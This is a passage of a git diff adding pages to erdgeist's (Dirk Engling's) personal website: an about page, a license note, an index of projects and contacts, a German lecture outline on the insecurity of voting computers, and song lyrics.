index 0000000..48ad095 Binary files /dev/null and b/files/stats/blog/pics/stoertaste.jpg differ diff --git a/files/stats/blog/pics/yor.jpg b/files/stats/blog/pics/yor.jpg new file mode 100644 index 0000000..6f3c6dd Binary files /dev/null and b/files/stats/blog/pics/yor.jpg differ diff --git a/stories/about.rst b/stories/about.rst new file mode 100644 index 0000000..ea24aa4 --- /dev/null +++ b/stories/about.rst @@ -0,0 +1,35 @@ +.. date: 1970/01/01 01:00 +.. title: about erdgeist +.. slug: about/index +.. hidetitle: yes + +.. class:: col-md-6 col-sm-12 col-xs-12 pull-right + +Kurzvita +======== + +Dirk Engling alias erdgeist, Baujahr 1978, arbeitet seit zwanzig Jahren im Bereich der elektronischen Problemlösung an Software für Mobiltelefone, hoch-skalierende Netzwerkdienste und kryptographische Systeme, seit über zehn Jahren selbständig. + +In seiner Freizeit arbeitet er als ehrenamtlicher Sprecher des Chaos Computer Club und an diversen Projekten als Autor freier Software. + +.. class:: col-md-6 col-sm-12 col-xs-12 pull-left + +about erdgeist +============== + +Dirk Engling aka erdgeist, born in 1978, is a freelance software engineer solving all kinds of electronic problems on mobile phones, highly scalable network services and cryptography software. + +In his spare time he volunteers as spokes person for the German hacker's association Chaos Computer Club and is author of and contributor to several open source projects. + +.. class:: col-md-10 col-sm-9 col-xs-12 + +Press photos +============ + +.. thumbnail:: Dirk_Engling_Press_3.jpg +.. thumbnail:: Dirk_Engling_Press_4.jpg +.. thumbnail:: Dirk_Engling_Press_5.jpg +.. thumbnail:: Dirk_Engling_Press_2.jpg +.. thumbnail:: Dirk_Engling_Press_6.jpg +.. thumbnail:: Dirk_Engling_Press_1.jpg + diff --git a/stories/beerware.md b/stories/beerware.md new file mode 100644 index 0000000..f53cd67 --- /dev/null +++ b/stories/beerware.md @@ -0,0 +1,8 @@ +<!-- +title: beerware +slug: /beerware.txt +--> + +The beerware license is very open, close to public domain, but insists on honoring the original author by just not claiming that the code is yours. Instead assume that someone writing Open Source Software in the domain you’re obviously interested in would be a nice match for having a beer with. + +So, just keep the name and contact details intact and if you ever meet the author in person, just have an appropriate brand of sparkling beverage choice together. The conversation will be worth the time for both of you. diff --git a/stories/index.rst b/stories/index.rst new file mode 100644 index 0000000..feb1338 --- /dev/null +++ b/stories/index.rst @@ -0,0 +1,61 @@ +.. link: +.. description: erdgeist is a Berlin based freelance and open source developer and political activist. +.. tags: +.. date: 1970/01/01 01:00:00 +.. title: main +.. slug: index +.. hidetitle: yes + +.. class:: col-md-12 pull-left + +erdgeist is a Berlin based freelance and open source developer and political activist. Feel free to stroll around in the public parts of his brain. + +.. class:: col-md-6 pull-right + +Contact +======= + +Write an email to erdgeist@erdgeist.org preferredly PGP encrypted, `the key </key.asc>`_, fingerprint: 68D0 5298 6E09 BF62 94B8 4DD0 B8DD 7017 *2A6C 30D3*. Reach me via Jabber at `<xmpp:erdgeist@erdgeist.org>`_, where my OTR fingerprint is 7A4BC16B 479D4D10 EAC30B3B B52FD269 ADF818E3. + +Follow `@erdgeist <https://twitter.com/erdgeist>`_ on Twitter. Listen to the `OHM podcast <http://monoxyd.de/category/ohm>`_ with monoxyd and CCC's `monthly radio show Chaosradio <http://chaosradio.ccc.de/>`_. Look out for contributions to `Die Datenschleuder <http://ds.ccc.de/>`_ and `www.ccc.de <http://www.ccc.de/>`_, sporadically also on `Frühstücksblog <http://morgen.monoxyd.de>`_. Get `the book 1984.exe <http://www.amazon.de/1984-exe-Gesellschaftliche-politische-juristische-Überwachungstechnologien/dp/3899427661>`_. + +.. class:: col-md-6 pull-left + +Software projects +================= + +.. post-list:: + :all: + :tags: project + :template: list_projects.tmpl + :id: projects + :sort: prio + :reverse: + + +Unless state otherwise, the software is released under `beerware license </beerware.html>`_. Some project's documentation is not yet migrated. You can also browse around my `gitweb </gitweb>`_. + +.. class:: col-md-6 col-sm-12 col-xs-12 pull-right + +Blog +==== + +.. post-list:: + :stop: 7 + :template: list_blogposts.tmpl + + +.. class:: col-md-6 pull-left + +Playground +========== + +See the `lecture about opentracker <http://media.ccc.de/browse/congress/2007/24c3-2355-de-trecker_fahrn.html#video>`_ on 24C3 (`slides <lectures/TrackerFahrn.pdf>`_), `Wahlcomputer in Erlangen <lectures/Wahlcomputer>`_, Format String Exploits, see the interviews and TV show contributions (todo). + +Skypixels are helium balloons lit by independent LED boards remote controlled by a NFR2401 controller. + +GodMachine was an installation in the Dresden Museum of hygiene, allowing visitors to control the weather by gestures. + +Laserharfe is a music instrument built together with friends. It converts hands moving in laser beams to MIDI signals and works on off the shelf electronics. + +Some rather personal content, `songs I wrote or recorded <music>`_, some in my former band, Pumpanickle. `Poetry I wrote </poetry>`_. Recently into selecting or writing intros for podcasts `alternativlos <https://alternativlos.org/>`_, turing galaxis, `Frühstücksblog podcast <http://morgen.monoxyd.de/category/podcast/>`_, `Neusprech <http://neusprech.org/kategorie/neusprechfunk/>`_, `Fnord News Show <http://media.ccc.de/browse/congress/2014/31c3_-_6109_-_de_-_saal_1_-_201412290015_-_fnord_news_show_-_frank_-_fefe.html#video>`_ and `OHM podcast <http://monoxyd.de/category/ohm>`_. diff --git a/stories/lectures/Wahlcomputer.rst b/stories/lectures/Wahlcomputer.rst new file mode 100644 index 0000000..b82a4f1 --- /dev/null +++ b/stories/lectures/Wahlcomputer.rst @@ -0,0 +1,95 @@ +.. title: Vortrag Wahlcomputer +.. date: 2007/07/13 20:00 +.. slug: Wahlcomputer/index +.. tags: lectures + +1 Intro +======= + +Hier sind die `Slides <../Wahlcomputer_Talk.pdf>`_ + +2 Unsere Motivation, uns dem Problem zu widmen +============================================== + +Geschichte aus dem Wahllokal nach der Wende + +3 Deren Motivation, Wahlcomputer einzuführen +============================================ + +* Kosten, Geschwindigkeit der Auszählung, Komplexere Wahlverfahren, neue Wahloptionen +* Personalbedarf, Eindeutigkeit, Vereinfachung des Wahlablaufs, Wahlbeteiligung +* direkte Demokratie + +4 Grundsätzliche Probleme von Wahlcomputern +=========================================== +* Menschen haben keine eingebauten Messinstrumente +* von aussen ist ein manipulierter Wahlcomputer nicht zu erkennen +* Delegation des Vertrauens von den eigenen Augen in ein Messinstrument +* Komplexere Wahlverfahren nicht immer zugunsten des Wählers +* Manipulation Eingabe/Ausgabegeräte (EC-Kartenautomat) +* Hohe Dynamik, moderne Computer NOCH mehr Probleme + +5 Realistische Angriffsszenarien +================================ + +* Motivation ist hoch: Gemeinden verfügen über mehrere Millionen EUR Mittel +* Bundesregierungen deutlich mehr +* Persoenliche Schicksale (Guus te Meerman), Firmen, die bestimmte Politiker unterstützen +* Zugriff gerade durch Innentäter, Vergleich mit Wahlkampfetat +* knapper Wahlausgang, wenige Computer reichen + +6 Spezielle Betrachtung der Impementierung von Nedap +==================================================== + +* Gekauft, aufgemacht reingeguckt, disassembliert +* Bewusstsein, dass man auch ohne Kenntnis von Quellcode reverseengineeren kann, gab es nicht +* Geheimhalten des Quellcodes erschwerte also nur die eine unabhaengige Ueberpruefung, keinen Angriff +* Ausleihe ins Ausland +* PTB prüft in "Küngelrunde" die Wahlcomputer + +7 Spezielle Herausforderungen durch Nedap +========================================= + +* Dedicated special purpose computer, I’d like to see chess running on this one. - “Okay.” +* Tom Kerrigan's Simple Chess Program + +9 Unsere Komplettübernahme +========================== + +* Unsere Kenntnisse über die Hardware waren am Ende besser als die des Herstellers selber +* Problemlos wurde das vorhandene Wahlprogramm manipuliert +* Austausch des programmspeichers bei einem geschlossenen Wahlcomputer dauert weniger als eine Minute +* GEHEIM/SERVICE - Hintertür + +10 Probleme neben der Manipulationsmöglichkeit +============================================== + +* Abstrahlung - Wahlgeheimnis +* Übertragung vom Stimmenspeicher +* vertrauensvoll naive Grundhaltung ggü dem Wahlcomputer +* Wahlcomputer Verlangsamen in bestimmten Wahlkreisen +* Abhängigkeit vom Wohlwollen des Herstellers + +11 Die Versuche, das System (nachträglich) abzusichern +====================================================== + +* PTB-Sonderüberprüfung +* Testwahlen +* Prüfsummen +* Schlüssel (Briefkasten ist sicherer) +* Siegel + +12 Warum diese Versuche zum Scheitern verurteilt sind +===================================================== + +* Preisdruck auch beim Hersteller +* Gesicherte Umgebungen im Alltag nicht gegeben +* Gegen Innentäter helfen die Massnahmen nicht + +13 Abgang +========= + +* Dem Wähler ist eine effektive Kontrolle und Verifikation der Wahlen nicht mehr möglich +* In der DDR wären die Wahlfälschungen mit Wahlcomputern nicht aufgefallen +* Die OSZE fordert für Wahlen in instabilen System Einsatzverbot +* Immer weniger Menschen können das System begutachten diff --git a/stories/music/Alte_Zeiten.rst b/stories/music/Alte_Zeiten.rst new file mode 100644 index 0000000..4e02daa --- /dev/null +++ b/stories/music/Alte_Zeiten.rst @@ -0,0 +1,62 @@ +.. link: +.. description: +.. tags: Liedermacher +.. date: 1998/08/03 19:10:08 +.. title: Alte Zeiten +.. slug: ../arts/music/Alte_Zeiten + +.. role:: raw-html(raw) + :format: html + +:raw-html:`<audio controls><source src="Alte_Zeiten.mp3" type="audio/mpeg"><a href="Alte_Zeiten.mp3">Alte_Zeiten.mp3</a></audio>` + +.. class:: lyrics-chords + +============================================ ==== +Denkst du nicht gern zurück an alte Zeiten aGd +Wo wir jeden Tag zusammngesessen ham EFC +Mit total kaputten Leuten aGd +Die wir doch lieb gewonnen ham gFC +.. +Umsturz, Aufsturz, Absturz - Leute aGd +War das nicht eine geile Zeit? EFC +Doch wo befinden wir uns heute aGd +Wir sind jetzt tot - es tut mir leid gFC +.. +*Das war dann wohl, auf wiedersehen* CFCF +*Ich glaub, ich buddel mich hier ein* DCG +*Muß meinen Weg alleine gehn* EAEA +*Sonst geht ihr mit mir ein* Fa +.. +Irgendwas hat uns gefressen aGd +Und verschluckt mit Haut und Haaren EFC +Wie könnten wir denn sonst vergessen aGd +Wie jung wir einmal waren gFC +.. +Denn unsre alten Bräuche aGd +Kommen uns jetzt kindisch vor EFC +Wir kriegen dicke-, Waschbrett-, Babybäuche aGd +Und die Zeit schreit uns ins Ohr gFC +.. +*Das war dann wohl, auf wiedersehen* CFCF +*Ich glaub, ich buddel mich hier ein* DCG +*Muß meinen Weg alleine gehn* EAEA +*Sonst geht ihr mit mir ein* Fa +.. +Ich denk so oft ich bin allein aGd +Red mir ein daß Einsamkeit mich heilt EFC +Ich weiß auch du fühlst dich oft klein aGd +Wir suchen den der unsre Armut teilt EFC +.. +Schaust auch du verzweifelt in das Morgen aGd +Suchst einen Grund nicht aufzugeben EFC +Mußt dir die Impressionen borgen aGd +Aus deinem längst verlornen Leben gFC +.. +*Ach was auch du haßt deine Welt* CFCF +*Ich denk ich grab mich wieder aus* DCG +*Jedoch nicht, weil's mir gefällt* EAEA +*Dies Ende säh sonst Scheiße aus!* Fa +============================================ ==== + +(`raw lyrics <AlteZeiten.txt>`_) diff --git a/stories/music/Fine.rst b/stories/music/Fine.rst new file mode 100755 index 0000000..da3bd2d --- /dev/null +++ b/stories/music/Fine.rst @@ -0,0 +1,41 @@ +.. link: +.. description: +.. tags: Liedermacher +.. date: 2004/08/03 19:10:08 +.. title: Fine +.. slug: ../arts/music/Fine + +.. role:: raw-html(raw) + :format: html + +:raw-html:`<audio controls><source src="Fine.mp3" type="audio/mpeg"><a href="Fine.mp3">Fine.mp3</a></audio>` + +.. class:: lyrics-chords + +============================================================ =========== +Was brauche ich zum traurig sein, als nur die Zeit, g G# g F +die mich erinnern macht an Einsamkeit g G# g B +.. +Was will die Zeit von mir als nur zurueck, g G# g F +was sie mir einst geliehn, g G# +ich gehe mit ihr, Stueck um Stueck B F# F +.. +*Ich stehe staunend nur vor den Truemmern meines Gluecks* B G# F# F +*Und ich traeume nur, ich wuerd mich treffen hinterruecks* B G# F# F +*ich glaub mir nicht, bin nicht verlassen, nur allein,* B G# F# F +*und ich denke: dieses Leben wird niemals mein.* B g G# F# F +.. +Du siehst mein Glas hier vor dir stehn, mehr als halb leer, g G# g F +die letzte Runde ist schon lange her. g G# g B +.. +Du zaehlst die Ringe nicht, denn was gefaellt g G# g F +liegt eh zu Fuessen dir g G# +und deiner gottverlassnen Welt B F# F +.. +*Ich steh verwundert nur vor den Ruinen deines Spiels* B G# F# F +*Und ich hoffe noch, dass du triffst, wohin du zielst* B G# F# F +*ich glaub dir nicht. Du bist gelassen und gemein.* B G# F# F +*und ich schwoere: dieses Leben wird niemals dein* G g G# F# F +============================================================ =========== + +(`raw lyrics <Fine.txt>`_) diff --git "a/stories/music/Frau_Kr\303\274ger.rst" "b/stories/music/Frau_Kr\303\274ger.rst" new file mode 100644 index 0000000..5057aca --- /dev/null +++ "b/stories/music/Frau_Kr\303\274ger.rst" @@ -0,0 +1,53 @@ +.. link: +.. description: +.. tags: Liedermacher +.. date: 1997/08/03 19:10:08 +.. title: Frau Krüger +.. slug: ../arts/music/Frau-Krueger + +.. role:: raw-html(raw) + :format: html + +:raw-html:`<audio controls><source src="FrauKrüger.mp3" type="audio/mpeg"><a href="FrauKrüger.mp3">FrauKrüger.mp3</a></audio>` + +| Er war gerade zwölf Jahre alt +| und spielte mit Freunden im Garten. +| Da kam die alte Frau Krüger heim, +| sie hatte sehr schwer zu tragen. +| +| Um seinen Freunden Mut zu zeigen, +| folgte er der alten Krüger ins Haus +| die Tür stand ja offen, und sie lag nackt, +| wie sie gestorben war, in der Wanne. +| +| Er erzählte keinem von dem, was er sah, +| und schlich sich spätabends aus dem Haus. +| +| *Bist du einmal tot, hast du noch lange nicht Ruh* +| *Überleg dir genau ob stirbst* +| *Denn liegst du erstmal auf dem Rücken* +| *.....................................* +| +| Über Zwanzig Jahre später +| ist er der Dorfpolizist +| und sieht den Pathologen öfter +| als seine eigene Frau +| +| Wasserleichen untersucht er selbst, +| Erzählt den Kollegen, er sucht nach Beweisen +| +| *Ref.* +| +| Er hat stets vielmehr Fleisch im Haus, +| als seine Frau einkauft +| Und seine neue Kettensäge +| ist noch nicht eingeweiht +| +| Nadia Krüger ist grad 12 geworden +| feiert mit Freunden im Garten +| Beim verstecke Spielen läuft sie in sein Haus +| Keiner hat sie dort gefunden +| +| *Ref.* +| +| Fine diff --git a/stories/music/From_Me_To_You.rst b/stories/music/From_Me_To_You.rst new file mode 100644 index 0000000..d86492c --- /dev/null +++ b/stories/music/From_Me_To_You.rst @@ -0,0 +1,37 @@ +.. link: +.. description: +.. tags: pumpanickle +.. date: 2004/12/03 19:10:08 +.. title: From me to you +.. slug: ../arts/music/From_Me_To_You + +.. role:: raw-html(raw) + :format: html + +We've proudly made a music video of this song: + +:raw-html:`<video controls><source src="From%20Me%20To%20You.mp4" type="audio/mpeg"><a href="From%20Me%20To%20You.mp4">From%20Me%20To%20You.mp4</a></video>` + +| I was roaming round your house the other day, +| Kept on thinking of the things that you might say. +| And when I stumbled all the stairs up to your room, +| I was was preparing for my own and special doom, (now listen! ohh) +| +| *From me to you, could what I hear and what they say be true* +| *From me to you, as long as I don't know, I'm blue* +| +| So I sneaked up on you and found you on your chair, +| I looked around and I saw flowers everywhere. +| The day was closing and you stared into the gloom, +| there and then I found my own and special doom, (they're saying! ohh) +| +| *From me to you, now what I heard and what they said is true* +| *From me to you, I'm lonely now and I feel blue* +| *From me to you is everything a want to hide* +| *From me to you comes everything I want to keep inside* +| +| *From me to you, now what I heard and what they said was true* +| *From me to you, I'm lonely now and I feel blue* +| *From me to you, what does it mean to you, at all* +| *From me to you is everything I want you to recall* +| diff --git a/stories/music/Hero.rst b/stories/music/Hero.rst new file mode 100644 index 0000000..c5b9eb1 --- /dev/null +++ b/stories/music/Hero.rst @@ -0,0 +1,64 @@ +.. link: +.. description: +.. tags: pumpanickle +.. date: 2002/12/03 19:10:08 +.. title: Hero +.. slug: ../arts/music/Hero + +.. role:: raw-html(raw) + :format: html + +The song comes in two recordings + +:raw-html:`<audio controls><source src="Herov1.mp3" type="audio/mpeg"><a href="Herov1.mp3">Herov1.mp3</a></audio>` + +:raw-html:`<audio controls><source src="Herov2.mp3" type="audio/mpeg"><a href="Herov2.mp3">Herov2.mp3</a></audio>` + +| Standing right above, watch the battlefield below, +| thinking back of time that we did spend +| Together we did walk and together we did stand +| ready to see the holy land +| +| Together we did stand and together we did fight +| those days we never thought, that our feelings weren't alright, +| now looking back in vain I never would complain, +| 'cos I'm your hero now... +| +| *I'm your hero of the day, I'm your hero of the day* +| *maybe you'll be miles away, maybe I lead you astray,* +| *now I'm your hero of the day, I'm your hero of the day* +| *praise the lord and sing hoo- right or wrong* +| *I'd never count the days we passed along.* +| +| Waking up to see, that you are back with me, +| watching the battlefield above. +| Together we did fight and together we did lose +| leaving out no other way to chose. +| +| Together we did stumble and together we did fall, +| you figured out we were not better than them all +| Then I left you behind, have I really been so blind? +| I'm still your hero, hey... +| +| *I'm your hero of the day, I'm your hero of the day* +| *maybe you'll be miles away, maybe I lead you astray,* +| *now I'm your hero of the day, I'm your hero of the day* +| *praise the lord and sing hoo- right or wrong* +| *I'd never count the days we passed along.* +| +| Looking at you now, really makes me thinking wow, +| you did it, you are one of them. +| Together you will stand, and together you will fight, +| the idols, we had way back, then. +| +| I know together you will win and together you will kill +| me, my brothers, my family, my free will +| But not without a fight, I still believe I'm right. +| And you're my hero, right! +| +| *You're my hero of the day, you're my hero of the day,* +| *maybe I'll be miles away, maybe you lead me astray,* +| *well I hate you all the day, now, I hate you all the day* +| *praise the lord and sing hoo- right or wrong* +| *I'd never count the days we passed along.* + diff --git a/stories/music/Hoerig.rst b/stories/music/Hoerig.rst new file mode 100644 index 0000000..9594739 --- /dev/null +++ b/stories/music/Hoerig.rst @@ -0,0 +1,42 @@ +.. link: +.. description: +.. tags: Liedermacher +.. date: 2000/08/03 19:10:08 +.. title: Hörig +.. slug: ../arts/music/Hoerig + +.. role:: raw-html(raw) + :format: html + +:raw-html:`<audio controls><source src="Hoerig.mp3" type="audio/mpeg"><a href="Hoerig.mp3">Hoerig.mp3</a></audio>` + +.. class:: lyrics-chords + +=================================================================== ===== +Jeden morgen stehts du auf und gehst durch deine Tür DGdA +Doch jeden Abend bringt sie dich zurück zu mir DGdA +Du willst mir nicht entflieh'n und hast du doch mal das Gefühl FEGF +Dann zeig ich dir, daß du nix bist und spiel mit dir ein Spiel EDG +.. +Dann stehst du da in deiner neuen Welt aGC +du vertraust keinem und bist allein dEa +und alles was für dich jetzt zählt aGC +Ist wieder für mich da zu sein dEA +.. +Immer wieder frag ich dich, was du denn von mir willst DGdA +Und ob du dich nicht doch woanders besser fühlst DGdA +Ich komm nicht weg von hier, ich muß hier einfach sein FEGF +wenn du dich trennst, dann sterben wir, das redest du uns ein EDG +.. +Dann stehst du da in deiner neuen Welt aGC +du vertraust keinem und bist allein dEa +und alles was für dich jetzt zählt aGC +Ist wieder für mich da zu sein dEA +.. +Immer wieder wird dir klar, daß sich nichts ändern wird DGdA +und dass der Stern, dem du hier folgst, dich in den Abgrund fuehrt DGdA +Ich werd' nun besser geh'n, entscheide mich fuer dich FEGF +.. +\.. was wirklich besser fuer dich ist, das findet sich +=================================================================== ===== + diff --git a/stories/music/No_Angel_Yet.rst b/stories/music/No_Angel_Yet.rst new file mode 100644 index 0000000..af65891 --- /dev/null +++ b/stories/music/No_Angel_Yet.rst @@ -0,0 +1,57 @@ +.. link: +.. description: +.. tags: Liedermacher +.. date: 2002/08/03 19:10:08 +.. title: No Angel Yet +.. slug: ../arts/music/No_Angel_Yet + +.. role:: raw-html(raw) + :format: html + +:raw-html:`<audio controls><source src="No%20Angel%20Yet.mp3" type="audio/mpeg"><a href="No%20Angel%20Yet.mp3">No%20Angel%20Yet.mp3</a></audio>` + +.. class:: lyrics-chords + +======================================================= ==== +It was a cold winter day, aGE +I felt happy, 'til I found you. FGC +You didn't listen to what the people say, dGEa +you said: winning is what I have to do. FGa +.. +So you took your courage and your strength aGE +and you went up the hill, FGC +looking down on the valley, on it's full length dGEa +and your feet were standing still. FGa +.. +Cold and tired, how you were, Ce +but still laughing 'bout how far you did get, FG +you were lonely standing there, dG +praying: Please, no angel, yet! FGa +.. +And you kept going, aGE +you were almost there, FGC +but then it started snowing, dGEa +and you didn't know, where you were. FGa +.. +You fell down, in the snow, aGE +your joints were numb with cold, FGC +and you weren't able to go, dGEa +just like the people told. FGa +.. +You cried out loudly, Ce +becoming so wet, FG +you cried out loudly: dG +Please, no angel, yet! FGa +.. +But your prayer wasn't heard, aGE +there he came, your friend and foe, FGC +flying wiht you, like a bird, dGEa +he left your body, and took your soul. FGa +.. +So there it lied, aGE +your body, cold, FGC +and I laid down by its side, dGEa +Waiting to be hold. FGa + FGa +======================================================= ==== + diff --git a/stories/music/Pimmelterrorist.rst b/stories/music/Pimmelterrorist.rst new file mode 100644 index 0000000..d04af94 --- /dev/null +++ b/stories/music/Pimmelterrorist.rst @@ -0,0 +1,54 @@ +.. link: +.. description: +.. tags: Liedermacher +.. date: 2003/08/03 19:10:08 +.. title: Pimmelterrorist +.. slug: ../arts/music/Pimmelterrorist + +.. role:: raw-html(raw) + :format: html + +.. role:: crd + +:raw-html:`<audio controls><source src="Pimmelterrorist.mp3" type="audio/mpeg"><a href="Pimmelterrorist.mp3">Pimmelterrorist.mp3</a></audio>` + + +.. class:: lyrics-chords-above + +| :crd:`d`\ Ich ging heut nacht die :crd:`a`\ Strasse lang +| auf :crd:`E`\ einem dunklen :crd:`C`\ Stueck +| :crd:`F`\ ich schlich mich an nen :crd:`a`\ Typen ran +| er :crd:`G`\ hat mich nicht ge :crd:`E`\ sehn, was fuer ein :crd:`a`\ Glueck +| +| seine :crd:`d`\ Schuhe sahn noch :crd:`a`\ aus wie neu +| doch die :crd:`E`\ Jacke abge\ :crd:`C`\ tragen +| :crd:`F`\ und weil ich boes bin :crd:`a`\ hab ich ihn +| mit meinem :crd:`G`\ uebergrossen :crd:`E`\ Pimmel er\ :crd:`a`\ schlagen +| +| *Ich bin der Pimmelterror*\ :crd:`G`\ *ist* +| *und schlage zu von Zeit zu* :crd:`a`\ *Zeit* +| *und wenn du nicht wachsam* :crd:`G`\ *bist* +| *bin ich da, ich verfolg* :crd:`E`\ *dich* +| *und schlag dich von hinten* :crd:`a`\ *breit* + +| Das gab nen Riesenmedienhype +| die Story ist ja spitze +| die "Bild" denkt sich nen Name aus +| und zwanzig Wege, sich vor mir zu schuetzen +| +| Die Leute laufen kopflos rum +| vor Pimmelmaskenlaeden +| da bekam ich langsam selber Angst, +| mir auf dem Weg ins Bad zu begegnen. +| +| *Ich bin der Pimmelterrorist* +| *und schlag mit voller Laenge zu* +| *Es macht mir Spass wenn ihr euch* +| *fuerchtet, denn mein Moerderpiephahn* +| *laesst euch keine Ruh!* +| +| Und dann kam's so, wie es kommen musst' +| ich bin nich abgehauen +| sie schnappten mich im Drospa +| beim Kondome in Uebergroessen klauen + diff --git a/stories/music/Riding_Monkey.rst b/stories/music/Riding_Monkey.rst new file mode 100644 index 0000000..8bdf50a --- /dev/null +++ b/stories/music/Riding_Monkey.rst @@ -0,0 +1,23 @@ +.. link: +.. description: +.. tags: pumpanickle +.. date: 2005/07/03 19:10:08 +.. title: Riding Monkeys +.. slug: ../arts/music/Riding_Monkeys + +.. role:: raw-html(raw) + :format: html + +:raw-html:`<audio controls><source src="Riding%20Monkeys.mp3" type="audio/mpeg"><a href="Riding%20Monkeys.mp3">Riding%20Monkeys.mp3</a></audio>` + +| We're riding monkeys on a banana hide, +| what I try to hide in my dreams, wasn't right. +| +| Were riding through the night, we ride and ride and ride +| what you did to me was wrong and I never step in silent night. +| +| We're hiding monkeys in our banana minds, +| what we hide beside our dreams just wasn't right. +| +| Were riding through the night, we ride and ride and ride +| what you did to me was wrong and I never step in silent night. diff --git a/stories/music/Schnee_im_April.rst b/stories/music/Schnee_im_April.rst new file mode 100644 index 0000000..6c084c5 --- /dev/null +++ b/stories/music/Schnee_im_April.rst @@ -0,0 +1,48 @@ +.. link: +.. description: +.. tags: Liedermacher +.. date: 2002/08/03 19:10:08 +.. title: Schnee im April +.. slug: ../arts/music/Schnee_im_April + +.. role:: raw-html(raw) + :format: html + +.. role:: crd + +:raw-html:`<audio controls><source src="Schnee_im_April.mp3" type="audio/mpeg"><a href="Schnee_im_April.mp3">Schnee_im_April.mp3</a></audio>` + +.. class:: lyrics-chords-above + +| :crd:`C`\ Schnee im April im :crd:`D`\ Cafe auf der Strasse +| :crd:`G`\ eiskalt erwischt beim Treffen mit :crd:`a`\ dir :crd:`E` +| :crd:`C`\ Erfrorene Worte :crd:`D`\ schlittern nun rastlos +| :crd:`G`\ taumelnd und einsam vor :crd:`E`\ mir + +| Eiszapfen gleich stechen die Blicke +| die deine verschneiten Augen verteiln +| zieh dich warm an und geniesse die Stunden +| die Glueck und Elend bei dir noch verweiln. + +.. class:: lyrics-chords-above + +| +| :crd:`C`\ *Wohin immer du* :crd:`d`\ *gehst,* +| :crd:`E`\ *was auch immer dich* :crd:`F`\ *treiben mag* +| :crd:`G`\ *die Zeit ist vor*:crd:`a`\ *bei,* +| :crd:`B`\ *wo die Zeit noch Ge*:crd:`A`\ *fangene macht.* + +| *Was auch immer du suchst,* +| *wer auch immer dich finden mag,* +| *die Zeit gibt kleinbei,* +| *wenn du ihr nur ein Laecheln schenkst.* + +| Regen im Mai beim Konzert auf der Wiese +| Eine Hand spielt verschaemt im klaschnassen Haar +| Tosende Wogen reissen dich von mir +| Ein ertrunkener Blick von Fern doch so nah + +| Die Flut spuelt dich fort, doch mein Blick haelt dich bei mir +| Wie ein Lotse das Schiff auf stuermender See +| Die Zeit scheint gekommen, den Hafen zu suchen +| Die Toene verstummen ganz saft und ich geh. diff --git a/stories/music/Sven.rst b/stories/music/Sven.rst new file mode 100644 index 0000000..d762be0 --- /dev/null +++ b/stories/music/Sven.rst @@ -0,0 +1,38 @@ +.. link: +.. description: +.. tags: Liedermacher +.. date: 1996/08/03 19:10:08 +.. title: Sven +.. slug: ../arts/music/Sven + +.. role:: raw-html(raw) + :format: html + +:raw-html:`<audio controls><source src="Sven.mp3" type="audio/mpeg"><a href="Sven.mp3">Sven.mp3</a></audio>` + +| Du bist einfach fortgeflogen, kleiner Papagei. +| Ich gab dir bloß C4 zu naschen, jetzt haben wir die Sauerei. +| Und nun zierst du meine Wand, Gott es tut mir ja so leid. +| Ich werd nie wieder mit dir spielen können, es war 'ne schöne Zeit. +| +| *Tschüßi, lieber Sven, ich werd dich nie vergessen.* +| *Tschüßi, lieber Sven, ich war so auf dich versessen.* +| +| Wir waren auch im Kernkraftwerk... Rußland, Tschernobyl. +| Und als wir nacher draußen waren, hattest du ein Bein zu viel. +| Doch auch nicht für lange Zeit, denn ich dachte mir, +| ich mach es einfach ab, ich trag es heute noch bei mir. +| +| Ich trag dich jetzt an meinem Herz, zumindest deinen Schnabel. +| Denn bei der großen Explosion traf er meinen Nabel. +| +| Weißt du noch am ersten Tag, unser Freudentanz... +| er dauerte bis Mami rief: "Laß doch den Vogel ganz!" +| Was soll ich nur von dir begraben? Flügel oder Fuß? +| Ich stopf dich in den Blumentopf nach einem letzten Kuß! +| +| *Doch gleich morgen hol ich mir aus dem Zoo* +| *einen neuen Sven und geb ihm deine Haribo* +| +| *Hallo, neuer Sven, du bist ja ganz naß!* +| *Hallo, neuer Sven, in der Mikrowelle trocknen wir sowas!* diff --git a/stories/music/Tonite.rst b/stories/music/Tonite.rst new file mode 100644 index 0000000..4f65784 --- /dev/null +++ b/stories/music/Tonite.rst @@ -0,0 +1,43 @@ +.. link: +.. description: +.. tags: Liedermacher +.. date: 2002/08/03 19:10:08 +.. title: Tonite +.. slug: ../arts/music/Tonite + +.. role:: raw-html(raw) + :format: html + +:raw-html:`<audio controls><source src="Tonitev1.mp3" type="audio/mpeg"><a href="Tonitev1.mp3">Tonitev1.mp3</a></audio>` + +.. class:: lyrics-chords + +==================================== =========== +Moon and stars wait for dark c G G# B +they come out at night. c G G# G +They won't stay here for day, D# B G G# +if you wanna see them shine bright, F G +see them tonite. c G G# B +\... see them tonite! c G G# G +.. +Leaves in brown leave a frown c G G# B +on the sunny face. c G G# G +They won't stay here for may, D# B G G# +if you wanna see them at all, F G +see them this fall. c G G# B +\... see them this fall! c G G# G +.. +You and me, need to see. D# B C# G# +our choice is free, D# B c +to follow the signs we do see G G# B +and be whatever we'll be. F G +tonite. c G G# B +\... see them tonite! c G G# G +.. +I sit here, watch the moon, c G G# B +stars and leaves fly by c G G# G +I won't stay here for day, D# B G G# +if you want me holding you tight F G +see me tonite. c G G# B +==================================== =========== + diff --git a/stories/music/Warme_Gedanken.rst b/stories/music/Warme_Gedanken.rst new file mode 100644 index 0000000..b3f2248 --- /dev/null +++ b/stories/music/Warme_Gedanken.rst @@ -0,0 +1,68 @@ +.. link: +.. description: +.. tags: FLiedermacher +.. date: 2009/08/03 19:10:08 +.. title: Warme Gedanken +.. slug: ../arts/music/Warme_Gedanken + +.. role:: raw-html(raw) + :format: html + +.. role:: crd + +:raw-html:`<audio controls><source src="WarmeGedanken.mp3" type="audio/mpeg"><a href="WarmeGedanken.mp3">WarmeGedanken.mp3</a></audio>` + +.. class:: lyrics-chords-above + +| :crd:`(B D4) g`\ Um den Geruch nicht zu ver :crd:`C4`\ liern +| :crd:`C4`\ wage ich mich nicht zu :crd:`B`\ ruehrn +| :crd:`B`\ atme dich noch einmal :crd:`D4`\ ein +| :crd:`D4`\ um ganz eng bei dir zu :crd:`g`\ sein. +| +| :crd:`g`\ Halt DICH noch fest aus meinem :crd:`B`\ Traum +| :crd:`B`\ und erinnere mich :crd:`F`\ kaum - wie :crd:`Fis`\ sehr du :crd:`g`\ fehlst + +| Hab dein Gesicht noch grad gespuert +| als haettest dus mir nicht entfuehrt +| freu mich des Abdrucks hier im Kissen +| als wuerde ichs nicht besser wissen + +| Halt dich noch fest aus meinem Traum +| denk an dich und spuere kaum - wie fern du bist. +| + +.. class:: 